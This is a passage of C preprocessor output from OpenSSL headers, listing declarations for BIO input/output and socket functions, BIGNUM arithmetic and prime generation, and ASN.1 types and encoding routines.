int BIO_fd_should_retry(int i);
int BIO_fd_non_fatal_error(int error);
int BIO_dump_cb(int (*cb)(const void *data, size_t len, void *u),
  void *u, const char *s, int len);
int BIO_dump_indent_cb(int (*cb)(const void *data, size_t len, void *u),
         void *u, const char *s, int len, int indent);
int BIO_dump(BIO *b,const char *bytes,int len);
int BIO_dump_indent(BIO *b,const char *bytes,int len,int indent);

int BIO_dump_fp(FILE *fp, const char *s, int len);
int BIO_dump_indent_fp(FILE *fp, const char *s, int len, int indent);

struct hostent *BIO_gethostbyname(const char *name);
# 718 "/usr/include/openssl/bio.h" 3 4
int BIO_sock_error(int sock);
int BIO_socket_ioctl(int fd, long type, void *arg);
int BIO_socket_nbio(int fd,int mode);
int BIO_get_port(const char *str, unsigned short *port_ptr);
int BIO_get_host_ip(const char *str, unsigned char *ip);
int BIO_get_accept_socket(char *host_port,int mode);
int BIO_accept(int sock,char **ip_port);
int BIO_sock_init(void );
void BIO_sock_cleanup(void);
int BIO_set_tcp_ndelay(int sock,int turn_on);

BIO *BIO_new_socket(int sock, int close_flag);
BIO *BIO_new_dgram(int fd, int close_flag);
# 740 "/usr/include/openssl/bio.h" 3 4
BIO *BIO_new_fd(int fd, int close_flag);
BIO *BIO_new_connect(char *host_port);
BIO *BIO_new_accept(char *host_port);

int BIO_new_bio_pair(BIO **bio1, size_t writebuf1,
 BIO **bio2, size_t writebuf2);





void BIO_copy_next_retry(BIO *b);
# 760 "/usr/include/openssl/bio.h" 3 4
int BIO_printf(BIO *bio, const char *format, ...)
 __attribute__((__format__(__printf__,2,3)));
int BIO_vprintf(BIO *bio, const char *format, va_list args)
 __attribute__((__format__(__printf__,2,0)));
int BIO_snprintf(char *buf, size_t n, const char *format, ...)
 __attribute__((__format__(__printf__,3,4)));
int BIO_vsnprintf(char *buf, size_t n, const char *format, va_list args)
 __attribute__((__format__(__printf__,3,0)));






void ERR_load_BIO_strings(void);
# 76 "/usr/include/openssl/evp.h" 2 3 4
# 94 "/usr/include/openssl/evp.h" 3 4
# 1 "/usr/include/openssl/objects.h" 1 3 4
# 65 "/usr/include/openssl/objects.h" 3 4
# 1 "/usr/include/openssl/obj_mac.h" 1 3 4
# 66 "/usr/include/openssl/objects.h" 2 3 4
# 960 "/usr/include/openssl/objects.h" 3 4
# 1 "/usr/include/openssl/asn1.h" 1 3 4
# 63 "/usr/include/openssl/asn1.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 64 "/usr/include/openssl/asn1.h" 2 3 4
# 74 "/usr/include/openssl/asn1.h" 3 4
# 1 "/usr/include/openssl/bn.h" 1 3 4
# 128 "/usr/include/openssl/bn.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 129 "/usr/include/openssl/bn.h" 2 3 4
# 325 "/usr/include/openssl/bn.h" 3 4
struct bignum_st
 {
 unsigned int *d;
 int top;

 int dmax;
 int neg;
 int flags;
 };


struct bn_mont_ctx_st
 {
 int ri;
 BIGNUM RR;
 BIGNUM N;
 BIGNUM Ni;

 unsigned int n0[2];

 int flags;
 };




struct bn_recp_ctx_st
 {
 BIGNUM N;
 BIGNUM Nr;
 int num_bits;
 int shift;
 int flags;
 };


struct bn_gencb_st
 {
 unsigned int ver;
 void *arg;
 union
  {

  void (*cb_1)(int, int, void *);

  int (*cb_2)(int, int, BN_GENCB *);
  } cb;
 };

int BN_GENCB_call(BN_GENCB *cb, int a, int b);
# 432 "/usr/include/openssl/bn.h" 3 4
const BIGNUM *BN_value_one(void);
char * BN_options(void);
BN_CTX *BN_CTX_new(void);

void BN_CTX_init(BN_CTX *c);

void BN_CTX_free(BN_CTX *c);
void BN_CTX_start(BN_CTX *ctx);
BIGNUM *BN_CTX_get(BN_CTX *ctx);
void BN_CTX_end(BN_CTX *ctx);
int BN_rand(BIGNUM *rnd, int bits, int top,int bottom);
int BN_pseudo_rand(BIGNUM *rnd, int bits, int top,int bottom);
int BN_rand_range(BIGNUM *rnd, const BIGNUM *range);
int BN_pseudo_rand_range(BIGNUM *rnd, const BIGNUM *range);
int BN_num_bits(const BIGNUM *a);
int BN_num_bits_word(unsigned int);
BIGNUM *BN_new(void);
void BN_init(BIGNUM *);
void BN_clear_free(BIGNUM *a);
BIGNUM *BN_copy(BIGNUM *a, const BIGNUM *b);
void BN_swap(BIGNUM *a, BIGNUM *b);
BIGNUM *BN_bin2bn(const unsigned char *s,int len,BIGNUM *ret);
int BN_bn2bin(const BIGNUM *a, unsigned char *to);
BIGNUM *BN_mpi2bn(const unsigned char *s,int len,BIGNUM *ret);
int BN_bn2mpi(const BIGNUM *a, unsigned char *to);
int BN_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);
int BN_usub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);
int BN_uadd(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);
int BN_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);
int BN_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, BN_CTX *ctx);
int BN_sqr(BIGNUM *r, const BIGNUM *a,BN_CTX *ctx);




void BN_set_negative(BIGNUM *b, int n);






int BN_div(BIGNUM *dv, BIGNUM *rem, const BIGNUM *m, const BIGNUM *d,
 BN_CTX *ctx);

int BN_nnmod(BIGNUM *r, const BIGNUM *m, const BIGNUM *d, BN_CTX *ctx);
int BN_mod_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m, BN_CTX *ctx);
int BN_mod_add_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m);
int BN_mod_sub(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m, BN_CTX *ctx);
int BN_mod_sub_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *b, const BIGNUM *m);
int BN_mod_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const BIGNUM *m, BN_CTX *ctx);
int BN_mod_sqr(BIGNUM *r, const BIGNUM *a, const BIGNUM *m, BN_CTX *ctx);
int BN_mod_lshift1(BIGNUM *r, const BIGNUM *a, const BIGNUM *m, BN_CTX *ctx);
int BN_mod_lshift1_quick(BIGNUM *r, const BIGNUM *a, const BIGNUM *m);
int BN_mod_lshift(BIGNUM *r, const BIGNUM *a, int n, const BIGNUM *m, BN_CTX *ctx);
int BN_mod_lshift_quick(BIGNUM *r, const BIGNUM *a, int n, const BIGNUM *m);

unsigned int BN_mod_word(const BIGNUM *a, unsigned int w);
unsigned int BN_div_word(BIGNUM *a, unsigned int w);
int BN_mul_word(BIGNUM *a, unsigned int w);
int BN_add_word(BIGNUM *a, unsigned int w);
int BN_sub_word(BIGNUM *a, unsigned int w);
int BN_set_word(BIGNUM *a, unsigned int w);
unsigned int BN_get_word(const BIGNUM *a);

int BN_cmp(const BIGNUM *a, const BIGNUM *b);
void BN_free(BIGNUM *a);
int BN_is_bit_set(const BIGNUM *a, int n);
int BN_lshift(BIGNUM *r, const BIGNUM *a, int n);
int BN_lshift1(BIGNUM *r, const BIGNUM *a);
int BN_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,BN_CTX *ctx);

int BN_mod_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 const BIGNUM *m,BN_CTX *ctx);
int BN_mod_exp_mont(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx);
int BN_mod_exp_mont_consttime(BIGNUM *rr, const BIGNUM *a, const BIGNUM *p,
 const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *in_mont);
int BN_mod_exp_mont_word(BIGNUM *r, unsigned int a, const BIGNUM *p,
 const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx);
int BN_mod_exp2_mont(BIGNUM *r, const BIGNUM *a1, const BIGNUM *p1,
 const BIGNUM *a2, const BIGNUM *p2,const BIGNUM *m,
 BN_CTX *ctx,BN_MONT_CTX *m_ctx);
int BN_mod_exp_simple(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 const BIGNUM *m,BN_CTX *ctx);

int BN_mask_bits(BIGNUM *a,int n);

int BN_print_fp(FILE *fp, const BIGNUM *a);


int BN_print(BIO *fp, const BIGNUM *a);



int BN_reciprocal(BIGNUM *r, const BIGNUM *m, int len, BN_CTX *ctx);
int BN_rshift(BIGNUM *r, const BIGNUM *a, int n);
int BN_rshift1(BIGNUM *r, const BIGNUM *a);
void BN_clear(BIGNUM *a);
BIGNUM *BN_dup(const BIGNUM *a);
int BN_ucmp(const BIGNUM *a, const BIGNUM *b);
int BN_set_bit(BIGNUM *a, int n);
int BN_clear_bit(BIGNUM *a, int n);
char * BN_bn2hex(const BIGNUM *a);
char * BN_bn2dec(const BIGNUM *a);
int BN_hex2bn(BIGNUM **a, const char *str);
int BN_dec2bn(BIGNUM **a, const char *str);
int BN_asc2bn(BIGNUM **a, const char *str);
int BN_gcd(BIGNUM *r,const BIGNUM *a,const BIGNUM *b,BN_CTX *ctx);
int BN_kronecker(const BIGNUM *a,const BIGNUM *b,BN_CTX *ctx);
BIGNUM *BN_mod_inverse(BIGNUM *ret,
 const BIGNUM *a, const BIGNUM *n,BN_CTX *ctx);
BIGNUM *BN_mod_sqrt(BIGNUM *ret,
 const BIGNUM *a, const BIGNUM *n,BN_CTX *ctx);



BIGNUM *BN_generate_prime(BIGNUM *ret,int bits,int safe,
 const BIGNUM *add, const BIGNUM *rem,
 void (*callback)(int,int,void *),void *cb_arg);
int BN_is_prime(const BIGNUM *p,int nchecks,
 void (*callback)(int,int,void *),
 BN_CTX *ctx,void *cb_arg);
int BN_is_prime_fasttest(const BIGNUM *p,int nchecks,
 void (*callback)(int,int,void *),BN_CTX *ctx,void *cb_arg,
 int do_trial_division);



int BN_generate_prime_ex(BIGNUM *ret,int bits,int safe, const BIGNUM *add,
  const BIGNUM *rem, BN_GENCB *cb);
int BN_is_prime_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx, BN_GENCB *cb);
int BN_is_prime_fasttest_ex(const BIGNUM *p,int nchecks, BN_CTX *ctx,
  int do_trial_division, BN_GENCB *cb);

int BN_X931_generate_Xpq(BIGNUM *Xp, BIGNUM *Xq, int nbits, BN_CTX *ctx);

int BN_X931_derive_prime_ex(BIGNUM *p, BIGNUM *p1, BIGNUM *p2,
   const BIGNUM *Xp, const BIGNUM *Xp1, const BIGNUM *Xp2,
   const BIGNUM *e, BN_CTX *ctx, BN_GENCB *cb);
int BN_X931_generate_prime_ex(BIGNUM *p, BIGNUM *p1, BIGNUM *p2,
   BIGNUM *Xp1, BIGNUM *Xp2,
   const BIGNUM *Xp,
   const BIGNUM *e, BN_CTX *ctx,
   BN_GENCB *cb);

BN_MONT_CTX *BN_MONT_CTX_new(void );
void BN_MONT_CTX_init(BN_MONT_CTX *ctx);
int BN_mod_mul_montgomery(BIGNUM *r,const BIGNUM *a,const BIGNUM *b,
 BN_MONT_CTX *mont, BN_CTX *ctx);


int BN_from_montgomery(BIGNUM *r,const BIGNUM *a,
 BN_MONT_CTX *mont, BN_CTX *ctx);
void BN_MONT_CTX_free(BN_MONT_CTX *mont);
int BN_MONT_CTX_set(BN_MONT_CTX *mont,const BIGNUM *mod,BN_CTX *ctx);
BN_MONT_CTX *BN_MONT_CTX_copy(BN_MONT_CTX *to,BN_MONT_CTX *from);
BN_MONT_CTX *BN_MONT_CTX_set_locked(BN_MONT_CTX **pmont, int lock,
     const BIGNUM *mod, BN_CTX *ctx);





BN_BLINDING *BN_BLINDING_new(const BIGNUM *A, const BIGNUM *Ai, BIGNUM *mod);
void BN_BLINDING_free(BN_BLINDING *b);
int BN_BLINDING_update(BN_BLINDING *b,BN_CTX *ctx);
int BN_BLINDING_convert(BIGNUM *n, BN_BLINDING *b, BN_CTX *ctx);
int BN_BLINDING_invert(BIGNUM *n, BN_BLINDING *b, BN_CTX *ctx);
int BN_BLINDING_convert_ex(BIGNUM *n, BIGNUM *r, BN_BLINDING *b, BN_CTX *);
int BN_BLINDING_invert_ex(BIGNUM *n, const BIGNUM *r, BN_BLINDING *b, BN_CTX *);

unsigned long BN_BLINDING_get_thread_id(const BN_BLINDING *);
void BN_BLINDING_set_thread_id(BN_BLINDING *, unsigned long);

CRYPTO_THREADID *BN_BLINDING_thread_id(BN_BLINDING *);
unsigned long BN_BLINDING_get_flags(const BN_BLINDING *);
void BN_BLINDING_set_flags(BN_BLINDING *, unsigned long);
BN_BLINDING *BN_BLINDING_create_param(BN_BLINDING *b,
 const BIGNUM *e, BIGNUM *m, BN_CTX *ctx,
 int (*bn_mod_exp)(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
     const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx),
 BN_MONT_CTX *m_ctx);


void BN_set_params(int mul,int high,int low,int mont);
int BN_get_params(int which);


void BN_RECP_CTX_init(BN_RECP_CTX *recp);
BN_RECP_CTX *BN_RECP_CTX_new(void);
void BN_RECP_CTX_free(BN_RECP_CTX *recp);
int BN_RECP_CTX_set(BN_RECP_CTX *recp,const BIGNUM *rdiv,BN_CTX *ctx);
int BN_mod_mul_reciprocal(BIGNUM *r, const BIGNUM *x, const BIGNUM *y,
 BN_RECP_CTX *recp,BN_CTX *ctx);
int BN_mod_exp_recp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 const BIGNUM *m, BN_CTX *ctx);
int BN_div_recp(BIGNUM *dv, BIGNUM *rem, const BIGNUM *m,
 BN_RECP_CTX *recp, BN_CTX *ctx);
# 644 "/usr/include/openssl/bn.h" 3 4
int BN_GF2m_add(BIGNUM *r, const BIGNUM *a, const BIGNUM *b);

int BN_GF2m_mod(BIGNUM *r, const BIGNUM *a, const BIGNUM *p);
int BN_GF2m_mod_mul(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const BIGNUM *p, BN_CTX *ctx);
int BN_GF2m_mod_sqr(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 BN_CTX *ctx);
int BN_GF2m_mod_inv(BIGNUM *r, const BIGNUM *b, const BIGNUM *p,
 BN_CTX *ctx);
int BN_GF2m_mod_div(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const BIGNUM *p, BN_CTX *ctx);
int BN_GF2m_mod_exp(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const BIGNUM *p, BN_CTX *ctx);
int BN_GF2m_mod_sqrt(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 BN_CTX *ctx);
int BN_GF2m_mod_solve_quad(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
 BN_CTX *ctx);






int BN_GF2m_mod_arr(BIGNUM *r, const BIGNUM *a, const int p[]);

int BN_GF2m_mod_mul_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const int p[], BN_CTX *ctx);
int BN_GF2m_mod_sqr_arr(BIGNUM *r, const BIGNUM *a, const int p[],
 BN_CTX *ctx);
int BN_GF2m_mod_inv_arr(BIGNUM *r, const BIGNUM *b, const int p[],
 BN_CTX *ctx);
int BN_GF2m_mod_div_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const int p[], BN_CTX *ctx);
int BN_GF2m_mod_exp_arr(BIGNUM *r, const BIGNUM *a, const BIGNUM *b,
 const int p[], BN_CTX *ctx);
int BN_GF2m_mod_sqrt_arr(BIGNUM *r, const BIGNUM *a,
 const int p[], BN_CTX *ctx);
int BN_GF2m_mod_solve_quad_arr(BIGNUM *r, const BIGNUM *a,
 const int p[], BN_CTX *ctx);
int BN_GF2m_poly2arr(const BIGNUM *a, int p[], int max);
int BN_GF2m_arr2poly(const int p[], BIGNUM *a);





int BN_nist_mod_192(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx);
int BN_nist_mod_224(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx);
int BN_nist_mod_256(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx);
int BN_nist_mod_384(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx);
int BN_nist_mod_521(BIGNUM *r, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx);

const BIGNUM *BN_get0_nist_prime_192(void);
const BIGNUM *BN_get0_nist_prime_224(void);
const BIGNUM *BN_get0_nist_prime_256(void);
const BIGNUM *BN_get0_nist_prime_384(void);
const BIGNUM *BN_get0_nist_prime_521(void);






BIGNUM *bn_expand2(BIGNUM *a, int words);

BIGNUM *bn_dup_expand(const BIGNUM *a, int words);
# 805 "/usr/include/openssl/bn.h" 3 4
unsigned int bn_mul_add_words(unsigned int *rp, const unsigned int *ap, int num, unsigned int w);
unsigned int bn_mul_words(unsigned int *rp, const unsigned int *ap, int num, unsigned int w);
void bn_sqr_words(unsigned int *rp, const unsigned int *ap, int num);
unsigned int bn_div_words(unsigned int h, unsigned int l, unsigned int d);
unsigned int bn_add_words(unsigned int *rp, const unsigned int *ap, const unsigned int *bp,int num);
unsigned int bn_sub_words(unsigned int *rp, const unsigned int *ap, const unsigned int *bp,int num);


BIGNUM *get_rfc2409_prime_768(BIGNUM *bn);
BIGNUM *get_rfc2409_prime_1024(BIGNUM *bn);


BIGNUM *get_rfc3526_prime_1536(BIGNUM *bn);
BIGNUM *get_rfc3526_prime_2048(BIGNUM *bn);
BIGNUM *get_rfc3526_prime_3072(BIGNUM *bn);
BIGNUM *get_rfc3526_prime_4096(BIGNUM *bn);
BIGNUM *get_rfc3526_prime_6144(BIGNUM *bn);
BIGNUM *get_rfc3526_prime_8192(BIGNUM *bn);

int BN_bntest_rand(BIGNUM *rnd, int bits, int top,int bottom);





void ERR_load_BN_strings(void);
# 75 "/usr/include/openssl/asn1.h" 2 3 4
# 165 "/usr/include/openssl/asn1.h" 3 4
struct X509_algor_st;
struct stack_st_X509_ALGOR { _STACK stack; };
# 175 "/usr/include/openssl/asn1.h" 3 4
typedef struct asn1_ctx_st
 {
 unsigned char *p;
 int eos;
 int error;
 int inf;
 int tag;
 int xclass;
 long slen;
 unsigned char *max;
 unsigned char *q;
 unsigned char **pp;
 int line;
 } ASN1_CTX;

typedef struct asn1_const_ctx_st
 {
 const unsigned char *p;
 int eos;
 int error;
 int inf;
 int tag;
 int xclass;
 long slen;
 const unsigned char *max;
 const unsigned char *q;
 const unsigned char **pp;
 int line;
 } ASN1_const_CTX;







typedef struct asn1_object_st
 {
 const char *sn,*ln;
 int nid;
 int length;
 const unsigned char *data;
 int flags;
 } ASN1_OBJECT;
# 238 "/usr/include/openssl/asn1.h" 3 4
struct asn1_string_st
 {
 int length;
 int type;
 unsigned char *data;




 long flags;
 };






typedef struct ASN1_ENCODING_st
 {
 unsigned char *enc;
 long len;
 int modified;
 } ASN1_ENCODING;
# 271 "/usr/include/openssl/asn1.h" 3 4
typedef struct asn1_string_table_st {
 int nid;
 long minsize;
 long maxsize;
 unsigned long mask;
 unsigned long flags;
} ASN1_STRING_TABLE;

struct stack_st_ASN1_STRING_TABLE { _STACK stack; };
# 295 "/usr/include/openssl/asn1.h" 3 4
typedef struct ASN1_TEMPLATE_st ASN1_TEMPLATE;
typedef struct ASN1_TLC_st ASN1_TLC;

typedef struct ASN1_VALUE_st ASN1_VALUE;
# 362 "/usr/include/openssl/asn1.h" 3 4
typedef void *d2i_of_void(void **,const unsigned char **,long); typedef int i2d_of_void(void *,unsigned char **);
# 402 "/usr/include/openssl/asn1.h" 3 4
typedef const ASN1_ITEM ASN1_ITEM_EXP;
# 516 "/usr/include/openssl/asn1.h" 3 4
struct stack_st_ASN1_INTEGER { _STACK stack; };


struct stack_st_ASN1_GENERALSTRING { _STACK stack; };

typedef struct asn1_type_st
 {
 int type;
 union {
  char *ptr;
  ASN1_BOOLEAN boolean;
  ASN1_STRING * asn1_string;
  ASN1_OBJECT * object;
  ASN1_INTEGER * integer;
  ASN1_ENUMERATED * enumerated;
  ASN1_BIT_STRING * bit_string;
  ASN1_OCTET_STRING * octet_string;
  ASN1_PRINTABLESTRING * printablestring;
  ASN1_T61STRING * t61string;
  ASN1_IA5STRING * ia5string;
  ASN1_GENERALSTRING * generalstring;
  ASN1_BMPSTRING * bmpstring;
  ASN1_UNIVERSALSTRING * universalstring;
  ASN1_UTCTIME * utctime;
  ASN1_GENERALIZEDTIME * generalizedtime;
  ASN1_VISIBLESTRING * visiblestring;
  ASN1_UTF8STRING * utf8string;


  ASN1_STRING * set;
  ASN1_STRING * sequence;
  ASN1_VALUE * asn1_value;
  } value;
 } ASN1_TYPE;

struct stack_st_ASN1_TYPE { _STACK stack; };


typedef struct stack_st_ASN1_TYPE ASN1_SEQUENCE_ANY;

ASN1_SEQUENCE_ANY *d2i_ASN1_SEQUENCE_ANY(ASN1_SEQUENCE_ANY **a, const unsigned char **in, long len); int i2d_ASN1_SEQUENCE_ANY(const ASN1_SEQUENCE_ANY *a, unsigned char **out); extern const ASN1_ITEM ASN1_SEQUENCE_ANY_it;
ASN1_SEQUENCE_ANY *d2i_ASN1_SET_ANY(ASN1_SEQUENCE_ANY **a, const unsigned char **in, long len); int i2d_ASN1_SET_ANY(const ASN1_SEQUENCE_ANY *a, unsigned char **out); extern const ASN1_ITEM ASN1_SET_ANY_it;

typedef struct NETSCAPE_X509_st
 {
 ASN1_OCTET_STRING *header;
 X509 *cert;
 } NETSCAPE_X509;


typedef struct BIT_STRING_BITNAME_st {
 int bitnum;
 const char *lname;
 const char *sname;
} BIT_STRING_BITNAME;
# 774 "/usr/include/openssl/asn1.h" 3 4
ASN1_TYPE *ASN1_TYPE_new(void); void ASN1_TYPE_free(ASN1_TYPE *a); ASN1_TYPE *d2i_ASN1_TYPE(ASN1_TYPE **a, const unsigned char **in, long len); int i2d_ASN1_TYPE(ASN1_TYPE *a, unsigned char **out); extern const ASN1_ITEM ASN1_ANY_it;

int ASN1_TYPE_get(ASN1_TYPE *a);
void ASN1_TYPE_set(ASN1_TYPE *a, int type, void *value);
int ASN1_TYPE_set1(ASN1_TYPE *a, int type, const void *value);
int ASN1_TYPE_cmp(ASN1_TYPE *a, ASN1_TYPE *b);

ASN1_OBJECT * ASN1_OBJECT_new(void );
void ASN1_OBJECT_free(ASN1_OBJECT *a);
int i2d_ASN1_OBJECT(ASN1_OBJECT *a,unsigned char **pp);
ASN1_OBJECT * c2i_ASN1_OBJECT(ASN1_OBJECT **a,const unsigned char **pp,
   long length);
ASN1_OBJECT * d2i_ASN1_OBJECT(ASN1_OBJECT **a,const unsigned char **pp,
   long length);

extern const ASN1_ITEM ASN1_OBJECT_it;

struct stack_st_ASN1_OBJECT { _STACK stack; };


ASN1_STRING * ASN1_STRING_new(void);
void ASN1_STRING_free(ASN1_STRING *a);
int ASN1_STRING_copy(ASN1_STRING *dst, const ASN1_STRING *str);
ASN1_STRING * ASN1_STRING_dup(const ASN1_STRING *a);
ASN1_STRING * ASN1_STRING_type_new(int type );
int ASN1_STRING_cmp(const ASN1_STRING *a, const ASN1_STRING *b);


int ASN1_STRING_set(ASN1_STRING *str, const void *data, int len);
void ASN1_STRING_set0(ASN1_STRING *str, void *data, int len);
int ASN1_STRING_length(const ASN1_STRING *x);
void ASN1_STRING_length_set(ASN1_STRING *x, int n);
int ASN1_STRING_type(ASN1_STRING *x);
unsigned char * ASN1_STRING_data(ASN1_STRING *x);

ASN1_BIT_STRING *ASN1_BIT_STRING_new(void); void ASN1_BIT_STRING_free(ASN1_BIT_STRING *a); ASN1_BIT_STRING *d2i_ASN1_BIT_STRING(ASN1_BIT_STRING **a, const unsigned char **in, long len); int i2d_ASN1_BIT_STRING(ASN1_BIT_STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_BIT_STRING_it;
int i2c_ASN1_BIT_STRING(ASN1_BIT_STRING *a,unsigned char **pp);
ASN1_BIT_STRING *c2i_ASN1_BIT_STRING(ASN1_BIT_STRING **a,const unsigned char **pp,
   long length);
int ASN1_BIT_STRING_set(ASN1_BIT_STRING *a, unsigned char *d,
   int length );
int ASN1_BIT_STRING_set_bit(ASN1_BIT_STRING *a, int n, int value);
int ASN1_BIT_STRING_get_bit(ASN1_BIT_STRING *a, int n);
int ASN1_BIT_STRING_check(ASN1_BIT_STRING *a,
                                     unsigned char *flags, int flags_len);


int ASN1_BIT_STRING_name_print(BIO *out, ASN1_BIT_STRING *bs,
    BIT_STRING_BITNAME *tbl, int indent);

int ASN1_BIT_STRING_num_asc(char *name, BIT_STRING_BITNAME *tbl);
int ASN1_BIT_STRING_set_asc(ASN1_BIT_STRING *bs, char *name, int value,
    BIT_STRING_BITNAME *tbl);

int i2d_ASN1_BOOLEAN(int a,unsigned char **pp);
int d2i_ASN1_BOOLEAN(int *a,const unsigned char **pp,long length);

ASN1_INTEGER *ASN1_INTEGER_new(void); void ASN1_INTEGER_free(ASN1_INTEGER *a); ASN1_INTEGER *d2i_ASN1_INTEGER(ASN1_INTEGER **a, const unsigned char **in, long len); int i2d_ASN1_INTEGER(ASN1_INTEGER *a, unsigned char **out); extern const ASN1_ITEM ASN1_INTEGER_it;
int i2c_ASN1_INTEGER(ASN1_INTEGER *a,unsigned char **pp);
ASN1_INTEGER *c2i_ASN1_INTEGER(ASN1_INTEGER **a,const unsigned char **pp,
   long length);
ASN1_INTEGER *d2i_ASN1_UINTEGER(ASN1_INTEGER **a,const unsigned char **pp,
   long length);
ASN1_INTEGER * ASN1_INTEGER_dup(const ASN1_INTEGER *x);
int ASN1_INTEGER_cmp(const ASN1_INTEGER *x, const ASN1_INTEGER *y);

ASN1_ENUMERATED *ASN1_ENUMERATED_new(void); void ASN1_ENUMERATED_free(ASN1_ENUMERATED *a); ASN1_ENUMERATED *d2i_ASN1_ENUMERATED(ASN1_ENUMERATED **a, const unsigned char **in, long len); int i2d_ASN1_ENUMERATED(ASN1_ENUMERATED *a, unsigned char **out); extern const ASN1_ITEM ASN1_ENUMERATED_it;

int ASN1_UTCTIME_check(ASN1_UTCTIME *a);
ASN1_UTCTIME *ASN1_UTCTIME_set(ASN1_UTCTIME *s,time_t t);
ASN1_UTCTIME *ASN1_UTCTIME_adj(ASN1_UTCTIME *s, time_t t,
    int offset_day, long offset_sec);
int ASN1_UTCTIME_set_string(ASN1_UTCTIME *s, const char *str);
int ASN1_UTCTIME_cmp_time_t(const ASN1_UTCTIME *s, time_t t);




int ASN1_GENERALIZEDTIME_check(ASN1_GENERALIZEDTIME *a);
ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_set(ASN1_GENERALIZEDTIME *s,time_t t);
ASN1_GENERALIZEDTIME *ASN1_GENERALIZEDTIME_adj(ASN1_GENERALIZEDTIME *s,
      time_t t, int offset_day, long offset_sec);
int ASN1_GENERALIZEDTIME_set_string(ASN1_GENERALIZEDTIME *s, const char *str);

ASN1_OCTET_STRING *ASN1_OCTET_STRING_new(void); void ASN1_OCTET_STRING_free(ASN1_OCTET_STRING *a); ASN1_OCTET_STRING *d2i_ASN1_OCTET_STRING(ASN1_OCTET_STRING **a, const unsigned char **in, long len); int i2d_ASN1_OCTET_STRING(ASN1_OCTET_STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_OCTET_STRING_it;
ASN1_OCTET_STRING * ASN1_OCTET_STRING_dup(const ASN1_OCTET_STRING *a);
int ASN1_OCTET_STRING_cmp(const ASN1_OCTET_STRING *a, const ASN1_OCTET_STRING *b);
int ASN1_OCTET_STRING_set(ASN1_OCTET_STRING *str, const unsigned char *data, int len);

ASN1_VISIBLESTRING *ASN1_VISIBLESTRING_new(void); void ASN1_VISIBLESTRING_free(ASN1_VISIBLESTRING *a); ASN1_VISIBLESTRING *d2i_ASN1_VISIBLESTRING(ASN1_VISIBLESTRING **a, const unsigned char **in, long len); int i2d_ASN1_VISIBLESTRING(ASN1_VISIBLESTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_VISIBLESTRING_it;
ASN1_UNIVERSALSTRING *ASN1_UNIVERSALSTRING_new(void); void ASN1_UNIVERSALSTRING_free(ASN1_UNIVERSALSTRING *a); ASN1_UNIVERSALSTRING *d2i_ASN1_UNIVERSALSTRING(ASN1_UNIVERSALSTRING **a, const unsigned char **in, long len); int i2d_ASN1_UNIVERSALSTRING(ASN1_UNIVERSALSTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_UNIVERSALSTRING_it;
ASN1_UTF8STRING *ASN1_UTF8STRING_new(void); void ASN1_UTF8STRING_free(ASN1_UTF8STRING *a); ASN1_UTF8STRING *d2i_ASN1_UTF8STRING(ASN1_UTF8STRING **a, const unsigned char **in, long len); int i2d_ASN1_UTF8STRING(ASN1_UTF8STRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_UTF8STRING_it;
ASN1_NULL *ASN1_NULL_new(void); void ASN1_NULL_free(ASN1_NULL *a); ASN1_NULL *d2i_ASN1_NULL(ASN1_NULL **a, const unsigned char **in, long len); int i2d_ASN1_NULL(ASN1_NULL *a, unsigned char **out); extern const ASN1_ITEM ASN1_NULL_it;
ASN1_BMPSTRING *ASN1_BMPSTRING_new(void); void ASN1_BMPSTRING_free(ASN1_BMPSTRING *a); ASN1_BMPSTRING *d2i_ASN1_BMPSTRING(ASN1_BMPSTRING **a, const unsigned char **in, long len); int i2d_ASN1_BMPSTRING(ASN1_BMPSTRING *a, unsigned char **out); extern const ASN1_ITEM ASN1_BMPSTRING_it;

